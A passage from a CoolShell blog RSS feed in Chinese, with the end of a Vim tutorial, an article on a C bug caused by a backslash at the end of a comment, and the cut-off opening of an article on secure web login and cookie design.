<code>foo</code>.</li>\n<li><code>va\"</code> → 会选择 <code>\"foo\"</code>.</li>\n<li><code>vi)</code> → 会选择 <code>\"foo\"</code>.</li>\n<li><code>va)</code> → 会选择<code>(\"foo\")</code>.</li>\n<li><code>v2i)</code> → 会选择 <code>map (+) (\"foo\")</code></li>\n<li><code>v2a)</code> → 会选择 <code>(map (+) (\"foo\"))</code></li>\n</ul>\n</blockquote>\n<p><img decoding=\"async\" class=\"aligncenter\" src=\"http://yannesposito.com/Scratch/img/blog/Learn-Vim-Progressively/textobjects.png\" alt=\"Text objects selection\" /></p>\n<h5 id=\"select-rectangular-blocks-c-v\">块操作: <code>&lt;C-v&gt;</code></h5>\n<p>块操作，典型的操作： <code>0 &lt;C-v&gt; &lt;C-d&gt; I-- [ESC]</code></p>\n<ul>\n<li><code>^</code> → 到行头</li>\n<li><code>&lt;C-v&gt;</code> → 开始块操作</li>\n<li><code>&lt;C-d&gt;</code> → 向下移动 (你也可以使用hjkl来移动光标，或是使用%，或是别的)</li>\n<li><code>I-- [ESC]</code> → I是插入，插入“<code>--</code>”，按ESC键来为每一行生效。</li>\n</ul>\n<p><img decoding=\"async\" class=\"aligncenter\" src=\"http://yannesposito.com/Scratch/img/blog/Learn-Vim-Progressively/rectangular-blocks.gif\" alt=\"Rectangular blocks\" /></p>\n<p>在Windows下的vim，你需要使用 <code>&lt;C-q&gt;</code> 而不是 <code>&lt;C-v&gt;</code> ，<code>&lt;C-v&gt;</code> 是拷贝剪贴板。</p>\n<h5 id=\"completion-c-n-and-c-p\">自动提示： <code>&lt;C-n&gt;</code> 和 <code>&lt;C-p&gt;</code></h5>\n<p>在 Insert 模式下，你可以输入一个词的开头，然后按 <code>&lt;C-p&gt;或是&lt;C-n&gt;，自动补齐功能就出现了……</code></p>\n<p><code></code><img decoding=\"async\" class=\"aligncenter\" src=\"http://yannesposito.com/Scratch/img/blog/Learn-Vim-Progressively/completion.gif\" alt=\"Completion\" /></p>\n<h5 id=\"macros--qa-do-something-q-a-\">宏录制： <code>qa</code> 操作序列 <code>q</code>, <code>@a</code>, <code>@@</code></h5>\n<ul>\n<li><code>qa</code> 把你的操作记录在寄存器 <code>a。</code></li>\n<li>于是 <code>@a</code> 会replay被录制的宏。</li>\n<li><code>@@</code> 是一个快捷键用来replay最新录制的宏。</li>\n</ul>\n<blockquote><p><strong><em>示例</em></strong></p>\n<p>在一个只有一行且这一行只有“1”的文本中，键入如下命令：</p>\n<ul>\n<li><code>qaYp&lt;C-a&gt;q</code>→\n<ul>\n<li><code>qa</code> 开始录制</li>\n<li><code>Yp</code> 复制行.</li>\n<li><code>&lt;C-a&gt;</code> 增加1.</li>\n<li><code>q</code> 停止录制.</li>\n</ul>\n</li>\n<li><code>@a</code> → 在1下面写下 2</li>\n<li><code>@@</code> → 在2 正面写下3</li>\n<li>现在做 <code>100@@</code> 会创建新的100行，并把数据增加到 103.</li>\n</ul>\n</blockquote>\n<p><img decoding=\"async\" class=\"aligncenter\" src=\"http://yannesposito.com/Scratch/img/blog/Learn-Vim-Progressively/macros.gif\" alt=\"Macros\" /></p>\n<h5 id=\"visual-selection-vvc-v\">可视化选择： <code>v</code>,<code>V</code>,<code>&lt;C-v&gt;</code></h5>\n<p>前面，我们看到了 <code>&lt;C-v&gt;</code>的示例 （在Windows下应该是&lt;C-q&gt;），我们可以使用 <code>v</code> 和 <code>V</code>。一但被选好了，你可以做下面的事：</p>\n<ul>\n<li><code>J</code> → 把所有的行连接起来（变成一行）</li>\n<li><code>&lt;</code> 或 <code>&gt;</code> → 左右缩进</li>\n<li><code>=</code> → 自动给缩进 （陈皓注：这个功能相当强大，我太喜欢了）</li>\n</ul>\n<p><img decoding=\"async\" class=\"aligncenter\" src=\"http://yannesposito.com/Scratch/img/blog/Learn-Vim-Progressively/autoindent.gif\" alt=\"Autoindent\" /></p>\n<p>在所有被选择的行后加上点东西：</p>\n<ul>\n<li><code>&lt;C-v&gt;</code></li>\n<li>选中相关的行 (可使用 <code>j</code> 或 <code>&lt;C-d&gt;</code> 或是 <code>/pattern</code> 或是 <code>%</code> 等……)</li>\n<li><code>$</code> 到行最后</li>\n<li><code>A</code>, 输入字符串，按 <code>ESC。</code></li>\n</ul>\n<p><img decoding=\"async\" class=\"aligncenter\" src=\"http://yannesposito.com/Scratch/img/blog/Learn-Vim-Progressively/append-to-many-lines.gif\" alt=\"Append to many lines\" /></p>\n<h5 id=\"splits-split-and-vsplit\">分屏: <code>:split</code> 和 <code>vsplit</code>.</h5>\n<p>下面是主要的命令，你可以使用VIM的帮助 <code>:help split</code>. 你可以参考本站以前的一篇文章<a title=\"Vim的分屏功能\" href=\"https://coolshell.cn/articles/1679.html\" target=\"_blank\">VIM分屏</a>。</p>\n<blockquote>\n<ul>\n<li><code>:split</code> → 创建分屏 (<code>:vsplit</code>创建垂直分屏)</li>\n<li><code>&lt;C-w&gt;&lt;dir&gt;</code> : dir就是方向，可以是 <code>hjkl</code> 或是 ←↓↑→ 中的一个，其用来切换分屏。</li>\n<li><code>&lt;C-w&gt;_</code> (或 <code>&lt;C-w&gt;|</code>) : 最大化尺寸 (&lt;C-w&gt;| 垂直分屏)</li>\n<li><code>&lt;C-w&gt;+</code> (或 <code>&lt;C-w&gt;-</code>) : 增加尺寸</li>\n</ul>\n</blockquote>\n<p><img decoding=\"async\" class=\"aligncenter\" src=\"http://yannesposito.com/Scratch/img/blog/Learn-Vim-Progressively/split.gif\" alt=\"Split\" /></p>\n<h4 id=\"conclusion\">结束语</h4>\n<ul>\n<li>上面是作者最常用的90%的命令。</li>\n<li>我建议你每天都学1到2个新的命令。</li>\n<li>在两到三周后，你会感到vim的强大的。</li>\n</ul>\n<ul>\n<li>有时候，学习VIM就像是在死背一些东西。</li>\n<li>幸运的是，vim有很多很不错的工具和优秀的文档。</li>\n<li>运行vimtutor直到你熟悉了那些基本命令。</li>\n<li>其在线帮助文档中你应该要仔细阅读的是 <code>:help usr_02.txt</code>.</li>\n<li>你会学习到诸如  <code>!，</code> 目录，寄存器，插件等很多其它的功能。</li>\n</ul>\n<p>学习vim就像学弹钢琴一样，一旦学会，受益无穷。</p>\n<p style=\"text-align: center;\">——————————正文结束——————————</p>\n<p>对于vi/vim只是点评一点：这是一个你不需要使用鼠标，不需使用小键盘，只需要使用大键盘就可以完成很多复杂功能文本编辑的编辑器。不然，<a title=\"Visual Studio的Vim插件\" href=\"https://coolshell.cn/articles/1901.html\" target=\"_blank\">Visual Studio也不就会有vim的插件了</a>。</p>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/11312.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/success_vim-150x150.jpg\" alt=\"无插件Vim编程技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11312.html\" class=\"wp_rp_title\">无插件Vim编程技巧</a></li><li ><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" alt=\"应该知道的Linux技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_title\">应该知道的Linux技巧</a></li><li ><a href=\"https://coolshell.cn/articles/7829.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/dstat_screenshot-150x150.png\" alt=\"28个Unix/Linux的命令行神器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7829.html\" class=\"wp_rp_title\">28个Unix/Linux的命令行神器</a></li><li ><a href=\"https://coolshell.cn/articles/7166.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg\" alt=\"游戏：VIM大冒险\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7166.html\" class=\"wp_rp_title\">游戏：VIM大冒险</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li><li ><a href=\"https://coolshell.cn/articles/5479.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-150x150.png\" alt=\"给程序员的VIM速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5479.html\" class=\"wp_rp_title\">给程序员的VIM速查卡</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5426.html\">简明 Vim 练级攻略</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/5426.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>611</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>C语言中史上最愚蠢的Bug</title>\n\t\t<link>https://coolshell.cn/articles/5388.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/5388.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 26 Aug 2011 02:17:48 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=5388</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>本文来自“The most stupid C bug ever”，很有意思，分享给大家。我相信这样的bug，就算你是高手你也会犯的。你来看看作者犯的这个Bug吧...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/5388.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/5388.html\">C语言中史上最愚蠢的Bug</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>本文来自“<a href=\"http://www.elpauer.org/?p=971\" target=\"_blank\">The most stupid C bug ever</a>”，很有意思，分享给大家。我相信这样的bug，就算你是高手你也会犯的。你来看看作者犯的这个Bug吧。。</p>\n<p>首先，作者想用一段程序来创建一个文件，如果有文件名的话，就创建真正的文件，如果没有的话，就调用?<a href=\"http://linux.die.net/man/3/tmpfile\">tmpfile()</a>?创建临时文件。他这段程序就是HTTP下载的C程序。code==200就是HTTP的返回码。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nelse if (code == 200) {     // Downloading whole file\n    /* Write new file (plus allow reading once we finish) */\n    g = fname ? fopen(fname, &quot;w+&quot;) : tmpfile();\n}</pre>\n<p>但是这个程序，只能在Unix/Linux下工作，因为 Microsoft 的?<a href=\"http://msdn.microsoft.com/en-us/library/x8x7sakw.aspx\">tmpfile()的实现</a>?居然选择了 C:\\ 作为临时文件的存放目录，这对于那些没有管理员权限的人来说就出大问题了，在Windows 7下，就算你有管理员权限也会有问题。所以，上面的程序在Windows平台下需要用不同的方式来处理，不能直接使用Windows的tmpfile()函数。</p>\n<p>于是作者就先把这个问题记下来，在注释中写下了FIXME：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nelse if (code == 200) {     // Downloading whole file\n    /* Write new file (plus allow reading once we finish) */\n\n    // FIXME Win32 native version fails here because\n    //   Microsoft&#039;s version of tmpfile() creates the file in C:\\\n    g = fname ? fopen(fname, &quot;w+&quot;) : tmpfile();\n}</pre>\n<p>然后，作者觉得需要写一个跨平台的编译：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">FILE * tmpfile ( void ) {\n#ifndef _WIN32\n    return tmpfile();\n#else\n    //code for Windows;\n#endif\n}</pre>\n<p>然后，作者觉得这样实现很不好，会发现名字冲突，因为这样一来这个函数太难看了。于是他重构了一下他的代码——写一个自己实现的tmpfile() &#8211; w32_tmpfile，然后，在Windows 下用宏定义来重命名这个函数为tmpfile()。（陈皓注：这种用法是比较标准的跨平台代码的写法）</p>\n<p><span id=\"more-5388\"></span></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#ifdef _WIN32\n  #define tmpfile w32_tmpfile\n#endif\n\nFILE * w32_tmpfile ( void ) {\n    //code for Windows;\n}</pre>\n<p>搞定！编译程序，运行。靠！居然没有调用到我的w32_tmpfile()，什么问题？调试，单步跟踪，果然没有调用到！难道是问号表达式有问题？改成if &#8211; else 语句，好了！</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">if(NULL != fname) {\n    g = fopen(fname, &quot;w+&quot;);\n} else {\n    g = tmpfile();\n}</pre>\n<p>问号表达式不应该有问题吧，难道我们的宏对问号表达式不起作用，这难道是编译器的预编译的一个bug？作者怀疑到。</p>\n<p>现在我们把所有的代码连在一起看，并比较一下：</p>\n<p><strong>能正常工作的代码</strong></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#ifdef _WIN32\n#  define tmpfile w32_tmpfile\n#endif\n\nFILE * w32_tmpfile ( void ) {\n    code for Windows;\n}\n\nelse if (code == 200) {     // Downloading whole file\n    /* Write new file (plus allow reading once we finish) */\n    // FIXME Win32 native version fails here because\n    //     Microsoft&#039;s version of tmpfile() creates the file in C:\\\n    //g = fname ? fopen(fname, &quot;w+&quot;) : tmpfile();\n    if(NULL != fname) {\n        g = fopen(fname, &quot;w+&quot;);\n    } else {\n        g = tmpfile();\n    }\n}</pre>\n<p><strong>不能正常工作的代码</strong></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#ifdef _WIN32\n#  define tmpfile w32_tmpfile\n#endif\n\nFILE * w32_tmpfile ( void ) {\n    code for Windows;\n}\n\nelse if (code == 200) {     // Downloading whole file\n    /* Write new file (plus allow reading once we finish) */\n    // FIXME Win32 native version fails here because\n    //    Microsoft&#039;s version of tmpfile() creates the file in C:\\\n    g = fname ? fopen(fname, &quot;w+&quot;) : tmpfile();\n}</pre>\n<p>也许你在一开始就看到了这个bug，但是作者没有。所有的问题都出在注释上：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n/* Write new file (plus allow reading once we finish) */\n// FIXME Win32 native version fails here because\n//     Microsoft&#039;s version of tmpfile() creates the file in C:\\\n</pre>\n<p><strong>你看到了最后那个C:\\吗？在C中，“\\” 代表此行没有结束，于是，后面的代码也成了注释。这就是这个bug的真正原因</strong>！</p>\n<p>而之所以改成if-else能工作的原因是因为作者注释了老的问号表达式的代码，所以，那段能工作的代码成了：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n/* Write new file (plus allow reading once we finish) */\n// FIXME Win32 native version fails here because Microsoft&#039;s version of tmpfile() creates the file in C:    //g = fname ? fopen(fname, &quot;w+&quot;) : tmpfile();\nif(NULL != fname) {\n    g = fopen(fname, &quot;w+&quot;);\n} else {\n    g = tmpfile();\n}</pre>\n<p>我相信，当作者找到这个问题的原因后，一定会骂一句“妈的”！我也相信，这个bug花费了作者很多时间！</p>\n<p>最后，我也share一个我以前犯的一个错。</p>\n<p>我有一个小函数，需要传入一个int* pInt的类型，然后我需要在我的代码里 把这个int* pInt作除数。于是我的代码成了下面的这个样子：</p>\n<blockquote><p>float result = num/*pInt;<br />\n&#8230;.</p>\n<p>/*  some comments */</p>\n<p>-x&lt;10 ? f(result):f(-result);</p></blockquote>\n<p>因为我在我当时用vi编写代码，所以没有语法高亮，而我的程序都编译通过了，但是却出现了很奇怪的事。我也不知道，用gdb调式的时候，发现有些语句直接就过了。这个问题让我花了很多时间，最后发现问题原来是没有空格导致的，TNND，下面我用代码高亮的插件来显示上面的代码，</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">float result = num/*pInt;\n....\n\n/*  some comments */\n\n-x&lt;10 ? f(result):f(-result); </pre>\n<p>Holly Shit!  我的代码成了：</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">float result = num-x&lt;10 ? f(result):f(-result);</code></p>\n<p>妈的！我的这个错误在愚蠢程度上和上面那个作者出的错误有一拼。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/9543.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/04/weibo-150x150.jpg\" alt=\"“C++的数组不支持多态”？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9543.html\" class=\"wp_rp_title\">“C++的数组不支持多态”？</a></li><li ><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"对技术的态度\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_title\">对技术的态度</a></li><li ><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/07/programmer-150x150.png\" alt=\"程序员技术练级攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_title\">程序员技术练级攻略</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5388.html\">C语言中史上最愚蠢的Bug</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/5388.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>126</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>你会做Web上的用户登录功能吗？</title>\n\t\t<link>https://coolshell.cn/articles/5353.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/5353.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 25 Aug 2011 00:48:48 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[网络安全]]></category>\n\t\t<category><![CDATA[password]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<category><![CDATA[口令]]></category>\n\t\t<category><![CDATA[安全]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=5353</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Web上的用户登录功能应该是最基本的功能了，可是在我看过一些站点的用户登录功能后，我觉得很有必要写一篇文章教大家怎么来做用户登录功能。下面的文章告诉大家这个功能...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/5353.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/5353.html\">你会做Web上的用户登录功能吗？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>Web上的用户登录功能应该是最基本的功能了，可是在我看过一些站点的用户登录功能后，我觉得很有必要写一篇文章教大家怎么来做用户登录功能。下面的文章告诉大家这个功能可能并没有你所想像的那么简单，这是一个关系到用户安全的功能，希望大家能从下面的文章中能知道什么样的方法才是一个好的用户登录功能。<span style=\"color: #cc0000;\"><strong>以下内容，转载时请保持原文一致，并请注明作者和出处</strong></span>。</p>\n<h4>用户名和口令</h4>\n<p>首先，我们先来说说用户名和口令的事。这并不是本站第一次谈论这个事了。<a title=\"如何管理并设计你的口令\" href=\"https://coolshell.cn/articles/2428.html\" target=\"_blank\">如何管理自己的口令</a>让你知道怎么管理自己的口令，<a title=\"破解你的口令\" href=\"https://coolshell.cn/articles/3801.html\" target=\"_blank\">破解你的口令</a>让你知道在现代这样速度的计算速度下，用穷举法破解你的口令可能会是一件很轻松的事。在这里我想告诉从开发者的角度上来做设计这个用户名和口令的事。下面一几件规则：</p>\n<ul style=\"font-weight: bold;\">\n<li><span class=\"Apple-style-span\" style=\"font-weight: normal;\"><strong>限制用户输入一些非常容易被破解的口令</strong>。如什么qwert，123456, password之类，就像<a title=\"Twitter的禁用口令\" href=\"https://coolshell.cn/articles/2451.html\" target=\"_blank\">twitter限制用户的口令</a>一样做一个口令的黑名单。另外，你可以限制用户口令的长度，是否有大小写，是否有数字，你可以用你的程序做一下校验。当然，这可能会让用户感到很不爽，所以，现在很多网站都提供了UX让用户知道他的口令强度是什么样的（比如<a title=\"另类UX让你输入强口令\" href=\"https://coolshell.cn/articles/3877.html\" target=\"_blank\">这个有趣的UX</a>），这样可以让用户有一个选择，目的就是告诉用户——要想安全，先把口令设得好一点。</span></li>\n</ul>\n<ul style=\"font-weight: bold;\">\n<li><span class=\"Apple-style-span\" style=\"font-weight: normal;\"><strong>千万不要明文保存用户的口令</strong>。正如<a title=\"如何管理并设计你的口令\" href=\"https://coolshell.cn/articles/2428.html\" target=\"_blank\">如何管理自己的口令</a>所说的一样，很多时候，用户都会用相同的ID相同的口令来登录很多网站。所以，如果你的网站明文保存的话，那么，如果你的数据被你的不良员工流传出去那对用户是灾难性的。所以，用户的口令一定要加密保存，最好是用不可逆的加密，如MD5或是SHA1之类的有hash算法的不可逆的加密算法。CSDN曾明文保存过用户的口令。（另，对于国内公司的品行以及有关部门的管理方式，我不敢保证国内网站以加密的方式保存你的口令。我觉得，做为一个有良知的人，我们应该加密保存用户的口令）</span></li>\n</ul>\n<div><span id=\"more-5353\"></span></div>\n<ul style=\"font-weight: bold;\">\n<li><span class=\"Apple-style-span\" style=\"font-weight: normal;\"><strong>是否让浏览器保存口令</strong>。我们有N多的方法可以不让浏览器保存用户名和口令。但是这可能对用户来说很不爽。因为在真实世界里谁也记得不住那么多的口令。很多用户可能会使用一些密码管理工具来保存密码，浏览器只是其中一种。是否让浏览器保存这个需要你做决定，重点是看一下你的系统的安全级别是否要求比较高，如果是的话，则不要让浏览器保存密码，并在网站明显的位置告诉用户——保存口令最安全的地方只有你的大脑。</span></li>\n</ul>\n<ul style=\"font-weight: bold;\">\n<li><span class=\"Apple-style-span\" style=\"font-weight: normal;\"><strong>口令在网上的传输</strong>。因为HTTP是明文协议，所以，用户名和口令在网上也是明文发送的，这个很不安全。你可以看看<a title=\"用Wireshark从http数据包中得到用户的登录信息\" href=\"http://www.blogjava.net/heyang/archive/2011/04/05/340330.html\" target=\"_blank\">这篇文章</a>你就明白了。要做到加密传输就必需使用HTTPS协议。但是，在中国还是有很多网站的Web登录方式还在使用ActiveX控件，这可能成为IE6还大量存在的原因。我通常理解为这些ActiveX控件是为了反键盘记录程序的。 不过，我依然觉ActiveX控件不应该存在，因为在国外的众多安全很重要的站点上都看不到ActiveX的控件的身影。</span></li>\n</ul>\n<h4>用户登录状态</h4>\n<p>首先，我想告诉大家的是，因为HTTP是无状态的协议，也就是说，这个协议是无法记录用户访问状态的，其每次请求都是独立的无关联的，一笔是一笔。而我们的网站都是设计成多个页面的，所在页面跳转过程中我们需要知道用户的状态，尤其是用户登录的状态，这样我们在页面跳转后我们才知道是否可以让用户有权限来操作一些功能或是查看一些数据。</p>\n<p><strong>所以，我们每个页面都需要对用户的身份进行认证</strong>。当然，我们不可能让用户在每个页面上输入用户名和口令，这会让用户觉得我们的网站相当的SB。为了实现这一功能，用得最多的技术就是浏览器的cookie，我们会把用户登录的信息存放在客户端的cookie里，这样，我们每个页面都从这个cookie里获得用户是否登录的信息，从而达到记录状态，验证用户的目的。但是，你真的会用cookie吗？下面是使用cookie的一些原则。</p>\n<ul>\n<li><strong>千万不要在cookie中存放用户的密码</strong>。加密的密码都不行。因为这个密码可以被人获取并尝试离线穷举。所以，你一定不能把用户的密码保存在cookie中。我看到太多的站点这么干了。</li>\n</ul>\n<ul>\n<li><strong>正确设计“记住密码”</strong>。这个功能简直就是一个安全隐患，我觉得并不是所有的程序员都知道怎么设计这个事。一般的设计 是——一时用户勾选了这个功能，系统会生成一个cookie，cookie包括用户名和一个固定的散列值，这个固定的散列值一直使用。这样，你就可以在所有的设备和客户上都可以登录，而且可以有多个用户同时登录。这个并不是很安全。下面是一些更为安全的方法供你参考：<br />\n<span style=\"color: #000080;\">（——<em><strong>更新 2011/08/26，原文中有些小错误，并且说的不清楚，重新调整了一下——</strong></em>）</span></li>\n</ul>\n<p style=\"padding-left: 60px;\">1）在cookie中，保存三个东西——<strong>用户名</strong>，<strong>登录序列</strong>，<strong>登录token</strong>。</p>\n<p style=\"padding-left: 90px;\"><strong>用户名</strong>：明文存放。<br />\n<strong>登录序列</strong>：一个被MD5散列过的随机数，<span style=\"color: #cc0000;\">仅当强制用户输入口令时更新（如：用户修改了口令）</span>。<br />\n<strong>登录token</strong>：一个被MD5散列过的随机数，<span style=\"color: #cc0000;\">仅一个登录session内有效，新的登录session会更新它</span>。</p>\n<p style=\"padding-left: 60px;\">2）上述三个东西会存在服务器上，服务器的验证用户需要验证客户端cookie里的这三个事。</p>\n<p style=\"padding-left: 60px;\">3）这样的设计会有什么样的效果，会有下面的效果，</p>\n<p style=\"padding-left: 90px;\">a）<strong>登录token</strong>是单实例登录。意思就是一个用户只能有一个登录实例。</p>\n<p style=\"padding-left: 90px;\">b）<strong>登录序列</strong>是用来做盗用行为检测的。如果用户的cookie被盗后，盗用者使用这个cookie访问网站时，我们的系统是以为是合法用户，然后更新“<strong>登录token</strong>”，而真正的用户回来访问时，系统发现只有“<strong>用户名</strong>”和“<strong>登录序列</strong>”相同，但是“<strong>登录token</strong>” 不对，这样的话，系统就知道，这个用户可能出现了被盗用的情况，于是，系统可以清除并更改<strong>登录序列 </strong>和<strong> <strong>登录token</strong></strong>，这样就可以令所有的cookie失效，并要求用户输入口令。并给警告用户系统安全。</p>\n<p style=\"padding-left: 